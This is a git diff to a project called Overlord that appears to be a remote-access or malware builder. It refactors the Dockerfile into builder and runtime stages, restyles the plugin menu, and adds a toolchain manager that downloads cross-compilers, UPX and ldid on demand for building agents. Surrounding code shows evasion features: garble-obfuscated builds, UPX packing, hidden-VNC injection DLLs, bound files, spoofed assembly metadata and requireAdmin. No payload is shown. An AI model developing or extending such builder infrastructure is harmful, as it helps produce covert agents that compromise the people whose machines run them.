diff --git a/.dockerignore b/.dockerignore index 127fde5..0868567 100644 --- a/.dockerignore +++ b/.dockerignore @@ -1,23 +1,29 @@ -# Node/Bun -node_modules/ -.next/ -.cache/ -dist/ -.tmp/ +# Node/Bun (match at any depth — Overlord-Server/node_modules etc.) +**/node_modules/ +**/.next/ +**/.cache/ +**/dist/ +**/.tmp/ # Database -*.db -*.db-journal +**/*.db +**/*.db-journal # Configuration (contains secrets) -config.json +**/config.json # Certificates -certs/ -*.crt -*.key -*.pem -*.csr +**/certs/ +**/*.crt +**/*.key +**/*.pem +**/*.csr + +# Runtime data / uploads / plugins (mounted as volumes at runtime) +Overlord-Server/data/ +Overlord-Server/uploads/ +Overlord-Server/plugins/ +plugins/ # OS .DS_Store @@ -30,16 +36,19 @@ Thumbs.db .gitignore .gitattributes -# Build outputs -dist-clients/ +# Build outputs (dist-clients is provided by the builder stage in the runtime image) +**/dist-clients/ Overlord-Client/build/ release/ +# Local docker buildx cache (host-only) +.docker-cache/ + **/*.tsbuildinfo -coverage/ -tmp/ -temp/ +**/coverage/ +**/tmp/ +**/temp/ # Logs -*.log -logs/ +**/*.log +**/logs/ diff --git a/.gitignore b/.gitignore index 739d1c1..f48e811 100644 --- a/.gitignore +++ b/.gitignore @@ -60,7 +60,10 @@ plugins/build-netscan.sh plugins/build-sysprofile.bat plugins/build-sysprofile.sh plugins/build-ranreg.bat +plugins/build-toxi.bat Overlord-Server/plugins/* +plugins/toxi/* +plugins/toxi copy/* # Runtime data Overlord-Server/data/ diff --git a/Dockerfile b/Dockerfile index bbb9b42..9c9b22f 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,96 +1,69 @@ # syntax=docker/dockerfile:1.7 -# Overlord Server Dockerfile -FROM oven/bun:1 AS base +# Overlord Server Dockerfile (multi-stage) +# +# Stage 1 (builder): full apt toolchain to compile assets + HVNC DLLs. +# Stage 2 (runtime, slim): only what the server needs at startup. Cross-compile +# toolchains (mingw, aarch64/armv7/musl, Android NDK, ldid, UPX) are downloaded +# on first agent build by Overlord-Server/src/server/toolchain-manager.ts and +# cached in the persistent /app/data volume. + +# ============================================================ +# Stage 1: builder +# ============================================================ +FROM oven/bun:1 AS builder WORKDIR /app -# Install Go for agent building and other tools -RUN apt-get update \ - && apt-get install -y --no-install-recommends \ - build-essential \ - gcc-mingw-w64-x86-64 \ - g++-mingw-w64-x86-64 \ - gcc-mingw-w64-i686 \ - musl-tools \ - gcc-aarch64-linux-gnu \ - gcc-arm-linux-gnueabihf \ - openssl \ - curl \ - ca-certificates \ - wget \ - git \ - unzip \ - upx-ucl \ - zip \ - && rm -rf /var/lib/apt/lists/* +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && apt-get install -y --no-install-recommends \ + build-essential \ + gcc-mingw-w64-x86-64 \ + g++-mingw-w64-x86-64 \ + gcc-mingw-w64-i686 \ + ca-certificates \ + wget \ + curl \ + git \ + unzip \ + zip -# Install Go (latest stable version) ENV GO_VERSION=1.26.2 ARG TARGETARCH -RUN case "${TARGETARCH}" in \ +RUN case "${TARGETARCH:-amd64}" in \ amd64) GO_ARCH=amd64 ;; \ arm64) GO_ARCH=arm64 ;; \ *) echo "Unsupported architecture: ${TARGETARCH}" >&2; exit 1 ;; \ esac \ - && wget -q https://go.dev/dl/go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \ - && tar -C /usr/local -xzf go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \ - && rm go${GO_VERSION}.linux-${GO_ARCH}.tar.gz + && wget -q "https://go.dev/dl/go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \ + && tar -C /usr/local -xzf "go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \ + && rm "go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \ + && rm -rf /usr/local/go/test /usr/local/go/api /usr/local/go/doc /usr/local/go/misc -ENV PATH="/usr/local/go/bin:${PATH}" +ENV PATH="/usr/local/go/bin:/go/bin:${PATH}" ENV GOPATH="/go" -ENV PATH="${GOPATH}/bin:${PATH}" ENV GOCACHE=/root/.cache/go-build ENV GOMODCACHE=/go/pkg/mod -# Install garble for obfuscated agent builds (requires Go 1.25+) RUN --mount=type=cache,target=/root/.cache/go-build \ --mount=type=cache,target=/go/pkg/mod \ go install mvdan.cc/garble@latest -# Install Android NDK for Android cross-compilation -ENV ANDROID_NDK_VERSION=r27c -ENV ANDROID_NDK_HOME=/opt/android-ndk -RUN case "${TARGETARCH}" in \ - amd64) NDK_HOST="linux-x86_64" ;; \ - arm64) NDK_HOST="linux-aarch64" ;; \ - *) echo "Unsupported architecture for Android NDK: ${TARGETARCH}" >&2; exit 1 ;; \ - esac \ - && wget -q "https://dl.google.com/android/repository/android-ndk-${ANDROID_NDK_VERSION}-linux.zip" \ - && unzip -q android-ndk-${ANDROID_NDK_VERSION}-linux.zip \ - && mv android-ndk-${ANDROID_NDK_VERSION} ${ANDROID_NDK_HOME} \ - && rm android-ndk-${ANDROID_NDK_VERSION}-linux.zip - -RUN case "${TARGETARCH}" in \ - amd64) LDID_ARCH="x86_64" ;; \ - arm64) LDID_ARCH="aarch64" ;; \ - *) LDID_ARCH="" ;; \ - esac \ - && if [ -n "${LDID_ARCH}" ]; then \ - wget -q "https://github.com/ProcursusTeam/ldid/releases/download/v2.1.5-procursus7/ldid_linux_${LDID_ARCH}" \ - -O /usr/local/bin/ldid \ - && chmod +x /usr/local/bin/ldid; \ - fi - -# Copy package files and lockfile +# Full bun install (includes devDeps needed for tailwind / vendor / minify steps) COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./ +RUN --mount=type=cache,target=/root/.bun/install/cache \ + bun install --frozen-lockfile -# Install dependencies -RUN bun install --frozen-lockfile - -# Copy source code and client code (needed for builds) +# Server source (Overlord-Server/dist-clients may carry pre-built MSVC DLLs from CI) COPY Overlord-Server/ ./ -COPY Overlord-Client/ ./Overlord-Client/ -# Copy HVNCInjection source and build script for cross-compilation +# HVNC sources for the cross-compile fallback (used only if no pre-built MSVC DLL). COPY HVNCInjection/ ./HVNCInjection/ COPY build-hvnc-dll.sh ./build-hvnc-dll.sh - -# Copy HVNCCapture source and build script for cross-compilation COPY HVNCCapture/ ./HVNCCapture/ COPY build-hvnc-capture-dll.sh ./build-hvnc-capture-dll.sh -# Use MSVC-built HVNCInjection DLL if present (preferred, from CI artifact). -# Fall back to cross-compiling with mingw only if no pre-built DLL exists. -RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \ +RUN mkdir -p dist-clients && \ + if [ -f dist-clients/HVNCInjection.x64.dll ]; then \ echo "Using pre-built MSVC HVNCInjection DLL"; \ else \ chmod +x build-hvnc-dll.sh && \ @@ -98,8 +71,6 @@ RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \ echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \ fi -# Use MSVC-built HVNCCapture DLL if present (preferred, from CI artifact). -# Fall back to cross-compiling with mingw (C++) only if no pre-built DLL exists. RUN if [ -f dist-clients/HVNCCapture.x64.dll ]; then \ echo "Using pre-built MSVC HVNCCapture DLL"; \ else \ @@ -108,23 +79,58 @@ RUN if [ -f dist-clients/HVNCCapture.x64.dll ]; then \ echo "WARNING: HVNCCapture DLL not available (build with MSVC on Windows)"; \ fi -# Create necessary directories -RUN mkdir -p certs public data - -# Build Tailwind CSS and vendor assets +# Tailwind CSS + vendored frontend assets RUN bun run build:css && bun run vendor \ && test -s ./public/assets/tailwind.css && test -d ./public/vendor/fontawesome -# NOTE: We intentionally do NOT use `bun build --compile` here. -# The compiled standalone binary runs from a virtual bunfs filesystem that -# cannot reliably load native modules like `sharp` from /app/node_modules, -# even when marked --external. Running the TS entrypoint directly with bun -# keeps normal Node-style module resolution and lets sharp load correctly. -# Expose the default port +# ============================================================ +# Stage 2: runtime (slim) +# ============================================================ +FROM oven/bun:1-slim AS runtime +WORKDIR /app + +# openssl/ca-certificates: TLS cert generation + HTTPS validation. +# wget/tar/unzip/xz-utils: required by toolchain-manager for on-demand downloads. +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && apt-get install -y --no-install-recommends \ + openssl \ + ca-certificates \ + wget \ + tar \ + unzip \ + xz-utils \ + && rm -rf /var/lib/apt/lists/* + +# Reuse Go + garble from the builder so we don't re-download. +COPY --from=builder /usr/local/go /usr/local/go +COPY --from=builder /go/bin/garble /go/bin/garble + +ENV PATH="/usr/local/go/bin:/go/bin:${PATH}" +ENV GOPATH="/go" +ENV GOCACHE=/root/.cache/go-build +ENV GOMODCACHE=/go/pkg/mod + +# Production-only node_modules (drops tailwind, terser, postcss, typescript, ...). +COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./ +RUN --mount=type=cache,target=/root/.bun/install/cache \ + bun install --production --frozen-lockfile + +# Server source. +COPY Overlord-Server/ ./ + +# Built artifacts from the builder stage (overwrites anything from the source copy). +COPY --from=builder /app/public ./public +COPY --from=builder /app/dist-clients ./dist-clients + +# Go agent source needed at every agent build. +COPY Overlord-Client/ ./Overlord-Client/ + +RUN mkdir -p certs data + EXPOSE 5173 -# Set environment variables (can be overridden) ENV PORT=5173 ENV HOST=0.0.0.0 ENV DATA_DIR=/app/data @@ -132,5 +138,7 @@ ENV NODE_ENV=production ENV OVERLORD_ROOT=/app ENV NODE_PATH=/app/node_modules -# Run the server directly with bun (no standalone-binary compile step) +# NOTE: We intentionally do NOT use `bun build --compile` here. +# The compiled standalone binary runs from a virtual bunfs filesystem that +# cannot reliably load native modules like `sharp` from /app/node_modules. CMD ["bun", "run", "src/index.ts"] diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index 8366e0d..84c5804 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -15,22 +15,12 @@ "minify": "bun run scripts/minify-public.ts" }, "dependencies": { - "@fontsource/inter": "^5.2.8", - "@fontsource/jetbrains-mono": "^5.2.8", - "@fortawesome/fontawesome-free": "6.5.2", "@msgpack/msgpack": "^3.0.0", "@solana/web3.js": "^1.98.4", - "ace-builds": "1.36.5", "adm-zip": "^0.5.12", - "animejs": "3.2.2", "ansi-to-html": "0.7.2", - "chart.js": "4.4.0", - "codemirror": "5.65.16", - "flag-icons": "latest", "geoip-lite": "latest", - "highlight.js": "11.9.0", "jose": "^6.1.3", - "leaflet": "1.9.4", "msgpackr": "1.11.8", "sharp": "^0.34.5", "uuid": "^9.0.1", @@ -38,13 +28,23 @@ "winston": "^3.11.0" }, "devDependencies": { + "@fontsource/inter": "^5.2.8", + "@fontsource/jetbrains-mono": "^5.2.8", + "@fortawesome/fontawesome-free": "6.5.2", "@tailwindcss/cli": "^4.1.18", "@types/bun": "^1.3.9", "@types/geoip-lite": "latest", "@types/uuid": "^9.0.7", + "ace-builds": "1.36.5", + "animejs": "3.2.2", "autoprefixer": "^10.4.23", + "chart.js": "4.4.0", "clean-css": "^5.3.3", + "codemirror": "5.65.16", + "flag-icons": "latest", + "highlight.js": "11.9.0", "html-minifier-terser": "^7.2.0", + "leaflet": "1.9.4", "postcss": "^8.5.6", "tailwindcss": "^4.1.18", "terser": "^5.46.1", diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index fb19066..2e0719a 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -434,8 +434,7 @@ async function loadPluginsForClient(clientId) { continue; } const btn = document.createElement("button"); - btn.className = - "w-full text-left px-3 py-2 rounded-lg border border-slate-700 bg-slate-800/60 hover:bg-slate-700 text-slate-100 flex items-center gap-2 justify-between"; + btn.className = "ctx-item ctx-plugin-item"; btn.dataset.plugin = plugin.id; btn.dataset.loaded = plugin.loaded ? "true" : "false"; if (plugin.lastError) { @@ -445,55 +444,54 @@ async function loadPluginsForClient(clientId) { const sig = plugin.signature; if (sig && sig.signed && !sig.valid) { btn.disabled = true; - btn.classList.add("opacity-50", "cursor-not-allowed"); + btn.setAttribute("aria-disabled", "true"); btn.title = "Plugin signature is invalid — cannot load"; } - const label = document.createElement("span"); - label.className = "flex items-center gap-1"; const labelIcon = document.createElement("i"); - labelIcon.className = "fa-solid fa-puzzle-piece"; - label.appendChild(labelIcon); - label.append(` ${plugin.name || plugin.id}`); + labelIcon.className = + "fa-solid fa-puzzle-piece ctx-icon " + + (plugin.loaded ? "text-emerald-400" : "text-fuchsia-400"); + btn.appendChild(labelIcon); + + const label = document.createElement("span"); + label.className = "ctx-plugin-label"; + label.textContent = plugin.name || plugin.id; + btn.appendChild(label); if (sig) { const trustIcon = document.createElement("i"); if (sig.signed && !sig.valid) { - trustIcon.className = "fa-solid fa-shield-xmark text-red-400 text-xs ml-1"; + trustIcon.className = "fa-solid fa-shield-xmark ctx-plugin-trust text-red-400"; trustIcon.title = "Invalid signature"; } else if (sig.signed && sig.valid && sig.trusted) { - trustIcon.className = "fa-solid fa-shield-check text-emerald-400 text-xs ml-1"; + trustIcon.className = "fa-solid fa-shield-check ctx-plugin-trust text-emerald-400"; trustIcon.title = "Trusted"; } else if (sig.signed && sig.valid && !sig.trusted) { - trustIcon.className = "fa-solid fa-shield text-yellow-400 text-xs ml-1"; + trustIcon.className = "fa-solid fa-shield ctx-plugin-trust text-yellow-400"; trustIcon.title = "Signed but untrusted"; } else { - trustIcon.className = "fa-solid fa-shield-halved text-orange-400 text-xs ml-1"; + trustIcon.className = "fa-solid fa-shield-halved ctx-plugin-trust text-orange-400"; trustIcon.title = "Unsigned"; } - label.appendChild(trustIcon); + btn.appendChild(trustIcon); } + const badge = document.createElement("span"); - badge.className = - "text-[10px] uppercase tracking-wider px-2 py-0.5 rounded-full border" + - (plugin.loaded - ? " border-emerald-600 text-emerald-300 bg-emerald-900/40" - : " border-slate-600 text-slate-300 bg-slate-800/60"); + badge.className = "ctx-plugin-badge" + (plugin.loaded ? " is-loaded" : ""); badge.textContent = plugin.loaded ? "loaded" : "available"; - btn.appendChild(label); btn.appendChild(badge); container.appendChild(btn); if (plugin.loaded) { const unloadBtn = document.createElement("button"); - unloadBtn.className = - "w-full text-left px-3 py-2 rounded-lg border border-red-800 bg-red-900/30 hover:bg-red-800/60 text-red-100 flex items-center gap-2"; + unloadBtn.className = "ctx-item"; unloadBtn.dataset.pluginUnload = plugin.id; const unloadIcon = document.createElement("i"); - unloadIcon.className = "fa-solid fa-plug-circle-xmark"; + unloadIcon.className = "fa-solid fa-plug-circle-xmark ctx-icon text-red-400"; + unloadBtn.appendChild(unloadIcon); const unloadText = document.createElement("span"); unloadText.textContent = `Unload ${plugin.name || plugin.id}`; - unloadBtn.appendChild(unloadIcon); unloadBtn.appendChild(unloadText); container.appendChild(unloadBtn); } diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index 1d9a98a..93264bf 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -167,6 +167,33 @@ menuStyle.textContent = ` flex-shrink: 0; font-size: 13px; } +.ctx-plugin-item { + min-width: 220px; +} +.ctx-plugin-label { + flex: 1; +} +.ctx-plugin-trust { + font-size: 10px; + flex-shrink: 0; +} +.ctx-plugin-badge { + font-size: 9px; + letter-spacing: 0.06em; + text-transform: uppercase; + padding: 1px 6px; + border-radius: 999px; + border: 1px solid rgba(148,163,184,0.25); + background: rgba(15,23,42,0.6); + color: #94a3b8; + flex-shrink: 0; + margin-left: auto; +} +.ctx-plugin-badge.is-loaded { + border-color: rgba(16,185,129,0.45); + background: rgba(6,78,59,0.35); + color: #6ee7b7; +} .ctx-chevron { margin-left: auto; font-size: 10px; diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index d947c8c..a573871 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -10,6 +10,11 @@ import * as buildManager from "../build/buildManager"; import type { BuildStream } from "../build/types"; import { ALLOWED_PLATFORMS } from "./validation-constants"; import { resolveRuntimeRoot } from "./runtime-paths"; +import { + ensureToolchain, + toolchainKeyForTarget, + type EnsuredToolchain, +} from "./toolchain-manager"; function isClientModuleDir(dir: string): boolean { return ( @@ -45,12 +50,11 @@ function resolveClientBuildCacheRoot(): string { return path.resolve(ensureDataDir(), "client-build-cache"); } -function resolveAndroidNdkToolchainBin(): string | null { +function resolveExplicitAndroidNdkToolchainBin(): string | null { const explicit = process.env.ANDROID_NDK_HOME?.trim(); - const ndkHome = explicit || (process.platform === "win32" ? "" : "/opt/android-ndk"); - if (!ndkHome) return null; + if (!explicit) return null; const hostArch = process.arch === "arm64" ? "linux-aarch64" : "linux-x86_64"; - const toolchainBin = path.join(ndkHome, "toolchains", "llvm", "prebuilt", hostArch, "bin"); + const toolchainBin = path.join(explicit, "toolchains", "llvm", "prebuilt", hostArch, "bin"); try { return fs.existsSync(toolchainBin) ? toolchainBin : null; } catch { @@ -297,13 +301,21 @@ export async function startBuildProcess( }); } - const ndkBin = hasAndroidTargets ? resolveAndroidNdkToolchainBin() : null; - if (hasAndroidTargets && !ndkBin) { - sendToStream({ - type: "output", - text: "Warning: Android NDK not found. Android builds require the NDK. Install it to /opt/android-ndk or set the ANDROID_NDK_HOME environment variable.\n", - level: "warn", - }); + let ndkBin: string | null = null; + if (hasAndroidTargets) { + ndkBin = resolveExplicitAndroidNdkToolchainBin(); + if (!ndkBin) { + try { + const ndk = await ensureToolchain("android-ndk", sendToStream); + ndkBin = ndk.binDir; + } catch (err: any) { + sendToStream({ + type: "output", + text: `Warning: Android NDK download failed (${err.message || err}). Android builds require the NDK. Set ANDROID_NDK_HOME to use a pre-installed NDK.\n`, + level: "warn", + }); + } + } } let buildMutex = ""; @@ -323,16 +335,21 @@ export async function startBuildProcess( let upxBin: string | null = null; if (config.enableUpx) { - const upxFound = await checkUpxAvailable(sendToStream); - if (!upxFound) { - sendToStream({ - type: "output", - text: "ERROR: UPX is not installed or not found in PATH. Please install UPX (https://upx.github.io) and ensure it is available on PATH, then retry.\n", - level: "error", - }); - throw new Error("UPX not found"); + if (await checkUpxAvailable(sendToStream)) { + upxBin = "upx"; + } else { + try { + const upxTool = await ensureToolchain("upx", sendToStream); + upxBin = path.join(upxTool.binDir, "upx"); + } catch (err: any) { + sendToStream({ + type: "output", + text: `ERROR: UPX is not installed and on-demand download failed (${err.message || err}).\n`, + level: "error", + }); + throw new Error("UPX not found"); + } } - upxBin = "upx"; } const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64 || config.requireAdmin); @@ -668,33 +685,43 @@ func runBoundFiles() { } if (env.CGO_ENABLED === "1") { - const cCompilerByTarget: Record = { - "linux/amd64": "musl-gcc", - "linux/arm64": "aarch64-linux-gnu-gcc", - "linux/arm/v7": "arm-linux-gnueabihf-gcc", - "windows/amd64": "x86_64-w64-mingw32-gcc", - "windows/386": "i686-w64-mingw32-gcc", - ...(ndkBin ? { - "android/amd64": path.join(ndkBin, "x86_64-linux-android21-clang"), - "android/arm64": path.join(ndkBin, "aarch64-linux-android21-clang"), - "android/arm/v7": path.join(ndkBin, "armv7a-linux-androideabi21-clang"), - } : {}), - }; - const cxxCompilerByTarget: Record = { - "linux/amd64": "g++", - "linux/arm64": "aarch64-linux-gnu-g++", - "linux/arm/v7": "arm-linux-gnueabihf-g++", - "windows/amd64": "x86_64-w64-mingw32-g++", - "windows/386": "i686-w64-mingw32-g++", - ...(ndkBin ? { - "android/amd64": path.join(ndkBin, "x86_64-linux-android21-clang++"), - "android/arm64": path.join(ndkBin, "aarch64-linux-android21-clang++"), - "android/arm/v7": path.join(ndkBin, "armv7a-linux-androideabi21-clang++"), - } : {}), - }; + let cc: string | undefined; + let cxx: string | undefined; + let extraBinDir: string | undefined; + + if (os === "android" && ndkBin) { + const ndkCcByTarget: Record = { + "android/amd64": "x86_64-linux-android21-clang", + "android/arm64": "aarch64-linux-android21-clang", + "android/arm/v7": "armv7a-linux-androideabi21-clang", + }; + const basename = ndkCcByTarget[targetKey]; + if (basename) { + cc = path.join(ndkBin, basename); + cxx = path.join(ndkBin, `${basename}++`); + extraBinDir = ndkBin; + env.AR = path.join(ndkBin, "llvm-ar"); + } + } else { + const tcKey = toolchainKeyForTarget(targetKey); + if (tcKey) { + try { + const tc: EnsuredToolchain = await ensureToolchain(tcKey, sendToStream); + cc = tc.ccPath; + cxx = tc.cxxPath; + extraBinDir = tc.binDir; + if (tc.arPath) env.AR = tc.arPath; + } catch (err: any) { + sendToStream({ + type: "output", + text: `ERROR: Failed to provision cross-compile toolchain for ${targetKey}: ${err.message || err}\n`, + level: "error", + }); + throw err; + } + } + } - const cc = cCompilerByTarget[targetKey]; - const cxx = cxxCompilerByTarget[targetKey]; if (cc) { env.CC = cc; sendToStream({ type: "output", text: `CGO compiler: ${cc}\n`, level: "info" }); @@ -708,8 +735,9 @@ func runBoundFiles() { if (cxx) { env.CXX = cxx; } - if (os === "android" && ndkBin) { - env.AR = path.join(ndkBin, "llvm-ar"); + if (extraBinDir) { + const sep = process.platform === "win32" ? ";" : ":"; + env.PATH = `${extraBinDir}${sep}${env.PATH || process.env.PATH || ""}`; } } @@ -1017,18 +1045,31 @@ func runBoundFiles() { `; fs.writeFileSync(path.join(payloadAppDir, "Info.plist"), infoPlist, "utf8"); - // Attempt pseudo-signing with ldid if available + // Attempt pseudo-signing with ldid (system-installed or downloaded on demand). try { - const ldidResult = await $`which ldid`.nothrow().quiet(); - if (ldidResult.exitCode === 0) { - const ldidSign = await $`ldid -S ${path.join(payloadAppDir, appName)}`.nothrow().quiet(); + let ldidBin: string | null = null; + const sysLdid = await $`which ldid`.nothrow().quiet(); + if (sysLdid.exitCode === 0) { + ldidBin = "ldid"; + } else { + try { + const tc = await ensureToolchain("ldid", sendToStream); + ldidBin = path.join(tc.binDir, "ldid"); + } catch (dlErr: any) { + sendToStream({ + type: "output", + text: `ldid not found and download failed (${dlErr.message || dlErr}); skipping pseudo-signing.\n`, + level: "warn", + }); + } + } + if (ldidBin) { + const ldidSign = await $`${ldidBin} -S ${path.join(payloadAppDir, appName)}`.nothrow().quiet(); if (ldidSign.exitCode === 0) { sendToStream({ type: "output", text: `Pseudo-signed with ldid\n`, level: "info" }); } else { sendToStream({ type: "output", text: `WARNING: ldid signing failed (non-fatal)\n`, level: "warn" }); } - } else { - sendToStream({ type: "output", text: `ldid not found; skipping pseudo-signing (install ldid for TrollStore/sideload compatibility)\n`, level: "warn" }); } } catch { /* ldid is optional */ } diff --git a/Overlord-Server/src/server/toolchain-manager.ts b/Overlord-Server/src/server/toolchain-manager.ts new file mode 100644 index 0000000..811f8bc --- /dev/null +++ b/Overlord-Server/src/server/toolchain-manager.ts @@ -0,0 +1,300 @@ +import path from "path"; +import fs from "fs"; +import { $ } from "bun"; +import { ensureDataDir } from "../paths"; +import { logger } from "../logger"; + +type SendToStream = (data: any) => void; + +export type ToolchainKey = + | "mingw-w64-x64" + | "mingw-w64-x86" + | "linux-musl-x64" + | "linux-musl-arm64" + | "linux-musl-armv7" + | "android-ndk" + | "ldid" + | "upx"; + +export type EnsuredToolchain = { + key: ToolchainKey; + binDir: string; + ccPath?: string; + cxxPath?: string; + arPath?: string; + rootDir: string; +}; + +type ArchiveFormat = "tar.gz" | "tar.xz" | "zip" | "binary"; + +type Manifest = { + displayName: string; + url: string; + approxSizeMB: number; + archive: ArchiveFormat; + binSubdir: string; + ccBasename?: string; + cxxBasename?: string; + arBasename?: string; + binaryFilename?: string; +}; + +const ANDROID_NDK_VERSION = "r27c"; + +function ndkHostTriple(): string { + return process.arch === "arm64" ? "linux-aarch64" : "linux-x86_64"; +} + +function ldidArch(): string { + return process.arch === "arm64" ? "aarch64" : "x86_64"; +} + +const MANIFESTS: Record = { + "mingw-w64-x64": { + displayName: "mingw-w64 x86_64 cross-compiler", + url: "https://musl.cc/x86_64-w64-mingw32-cross.tgz", + approxSizeMB: 70, + archive: "tar.gz", + binSubdir: "x86_64-w64-mingw32-cross/bin", + ccBasename: "x86_64-w64-mingw32-gcc", + cxxBasename: "x86_64-w64-mingw32-g++", + arBasename: "x86_64-w64-mingw32-ar", + }, + "mingw-w64-x86": { + displayName: "mingw-w64 i686 cross-compiler", + url: "https://musl.cc/i686-w64-mingw32-cross.tgz", + approxSizeMB: 65, + archive: "tar.gz", + binSubdir: "i686-w64-mingw32-cross/bin", + ccBasename: "i686-w64-mingw32-gcc", + cxxBasename: "i686-w64-mingw32-g++", + arBasename: "i686-w64-mingw32-ar", + }, + "linux-musl-x64": { + displayName: "musl x86_64 Linux cross-compiler", + url: "https://musl.cc/x86_64-linux-musl-cross.tgz", + approxSizeMB: 60, + archive: "tar.gz", + binSubdir: "x86_64-linux-musl-cross/bin", + ccBasename: "x86_64-linux-musl-gcc", + cxxBasename: "x86_64-linux-musl-g++", + arBasename: "x86_64-linux-musl-ar", + }, + "linux-musl-arm64": { + displayName: "musl aarch64 Linux cross-compiler", + url: "https://musl.cc/aarch64-linux-musl-cross.tgz", + approxSizeMB: 60, + archive: "tar.gz", + binSubdir: "aarch64-linux-musl-cross/bin", + ccBasename: "aarch64-linux-musl-gcc", + cxxBasename: "aarch64-linux-musl-g++", + arBasename: "aarch64-linux-musl-ar", + }, + "linux-musl-armv7": { + displayName: "musl armv7l Linux cross-compiler", + url: "https://musl.cc/armv7l-linux-musleabihf-cross.tgz", + approxSizeMB: 60, + archive: "tar.gz", + binSubdir: "armv7l-linux-musleabihf-cross/bin", + ccBasename: "armv7l-linux-musleabihf-gcc", + cxxBasename: "armv7l-linux-musleabihf-g++", + arBasename: "armv7l-linux-musleabihf-ar", + }, + "android-ndk": { + displayName: `Android NDK ${ANDROID_NDK_VERSION}`, + url: `https://dl.google.com/android/repository/android-ndk-${ANDROID_NDK_VERSION}-linux.zip`, + approxSizeMB: 1500, + archive: "zip", + binSubdir: `android-ndk-${ANDROID_NDK_VERSION}/toolchains/llvm/prebuilt/${ndkHostTriple()}/bin`, + arBasename: "llvm-ar", + }, + ldid: { + displayName: "ldid (iOS pseudo-signing)", + url: `https://github.com/ProcursusTeam/ldid/releases/download/v2.1.5-procursus7/ldid_linux_${ldidArch()}`, + approxSizeMB: 2, + archive: "binary", + binSubdir: "bin", + binaryFilename: "ldid", + }, + upx: { + displayName: "UPX 4.2.4", + url: "https://github.com/upx/upx/releases/download/v4.2.4/upx-4.2.4-amd64_linux.tar.xz", + approxSizeMB: 1, + archive: "tar.xz", + binSubdir: "upx-4.2.4-amd64_linux", + binaryFilename: "upx", + }, +}; + +const inFlight = new Map>(); + +export function getToolchainRoot(): string { + const explicit = process.env.OVERLORD_TOOLCHAIN_DIR?.trim(); + if (explicit) return path.resolve(explicit); + return path.join(ensureDataDir(), "toolchains"); +} + +function toolchainDir(key: ToolchainKey): string { + return path.join(getToolchainRoot(), key); +} + +function sentinelPath(key: ToolchainKey): string { + return path.join(toolchainDir(key), ".installed"); +} + +function isInstalled(key: ToolchainKey): boolean { + try { + return fs.existsSync(sentinelPath(key)); + } catch { + return false; + } +} + +function resolveEnsured(key: ToolchainKey): EnsuredToolchain { + const m = MANIFESTS[key]; + const rootDir = toolchainDir(key); + const binDir = path.join(rootDir, m.binSubdir); + return { + key, + rootDir, + binDir, + ccPath: m.ccBasename ? path.join(binDir, m.ccBasename) : undefined, + cxxPath: m.cxxBasename ? path.join(binDir, m.cxxBasename) : undefined, + arPath: m.arBasename ? path.join(binDir, m.arBasename) : undefined, + }; +} + +async function downloadAndExtract( + key: ToolchainKey, + send: SendToStream, +): Promise { + const m = MANIFESTS[key]; + const rootDir = toolchainDir(key); + const tmpDir = `${rootDir}.tmp-${process.pid}-${Date.now()}`; + + fs.mkdirSync(getToolchainRoot(), { recursive: true }); + fs.mkdirSync(tmpDir, { recursive: true }); + + const archiveName = + m.archive === "binary" + ? m.binaryFilename || "download" + : path.basename(new URL(m.url).pathname); + const archivePath = path.join(tmpDir, archiveName); + + send({ + type: "output", + text: `[toolchain] Downloading ${m.displayName} (~${m.approxSizeMB}MB) from ${m.url}\n`, + level: "info", + }); + logger.info(`[toolchain] downloading ${key} from ${m.url}`); + + const dl = await $`wget --tries=2 --timeout=60 -q -O ${archivePath} ${m.url}` + .nothrow(); + if (dl.exitCode !== 0) { + const stderr = dl.stderr.toString().trim(); + throw new Error( + `Failed to download ${m.displayName} (wget exit ${dl.exitCode}): ${stderr || "no stderr"}`, + ); + } + + send({ + type: "output", + text: `[toolchain] Extracting ${m.displayName}...\n`, + level: "info", + }); + + switch (m.archive) { + case "tar.gz": { + const r = await $`tar -xzf ${archivePath} -C ${tmpDir}`.nothrow(); + if (r.exitCode !== 0) { + throw new Error(`tar -xzf failed for ${key}: ${r.stderr.toString()}`); + } + fs.unlinkSync(archivePath); + break; + } + case "tar.xz": { + const r = await $`tar -xJf ${archivePath} -C ${tmpDir}`.nothrow(); + if (r.exitCode !== 0) { + throw new Error(`tar -xJf failed for ${key}: ${r.stderr.toString()}`); + } + fs.unlinkSync(archivePath); + break; + } + case "zip": { + const r = await $`unzip -q ${archivePath} -d ${tmpDir}`.nothrow(); + if (r.exitCode !== 0) { + throw new Error(`unzip failed for ${key}: ${r.stderr.toString()}`); + } + fs.unlinkSync(archivePath); + break; + } + case "binary": { + // Move single-binary download into a bin/ subdir so binSubdir resolves. + const binDir = path.join(tmpDir, m.binSubdir); + fs.mkdirSync(binDir, { recursive: true }); + const finalBin = path.join(binDir, m.binaryFilename || "download"); + fs.renameSync(archivePath, finalBin); + fs.chmodSync(finalBin, 0o755); + break; + } + } + + // Atomic publish: rename tmpDir → rootDir. If 